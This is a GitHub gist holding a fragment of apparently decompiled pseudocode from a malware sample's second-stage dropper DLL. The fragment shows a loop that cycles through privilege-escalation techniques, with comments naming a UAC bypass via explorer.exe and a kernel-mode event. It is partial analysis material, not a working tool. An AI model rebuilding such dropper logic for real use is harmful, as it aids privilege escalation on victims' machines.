Skip to content

Instantly share code, notes, and snippets.

@SouhailHammou
Created March 28, 2017 18:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save SouhailHammou/c266641f60ba37c27b8ed88b78ec73fe to your computer and use it in GitHub Desktop.
Save SouhailHammou/c266641f60ba37c27b8ed88b78ec73fe to your computer and use it in GitHub Desktop.
/*2nd level dropper : DLL main function*/
{
/*[...]*/
pavtr_listelem Elem = gList;
while ( Elem != NULL )
{
HANDLE hThread = CreateThread(NULL,NULL,Avtr_ThreadProc,Elem,0);
if ( ! hThread )
break;
CloseHandle(hThread);
DWORD wfso_ret = 0;
if ( Elem->technique != 0x80000000 )
{
wfso_ret = WaitForSingleObject(hGlobal03,Elem->milliseconds); //explorer.exe & UAC bypass
if ( wfso_ret == WAIT_OBJECT_0 )
{
Elem->n_tries = 0;
}
}
if ( wfso_ret == 0 && Elem->privilege_value != 0 )
{
wfso_ret = WaitForSingleObject(hGlobal02,Elem->milliseconds); //Always ; Event signaled from kernelmode
if ( wfso_ret == WAIT_OBJECT_0 )
{
SetEvent(hGlobal17);
break;
}
}
int n_tries = Elem->n_tries - 1;
Elem->n_tries = n_tries;
if ( n_tries <= 0 )
{
Elem = List_GetNextElem();
}
}
Sleep(1000);
CloseHandle(hGlobal03);
CloseHandle(hGlobal02);
return var_C;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment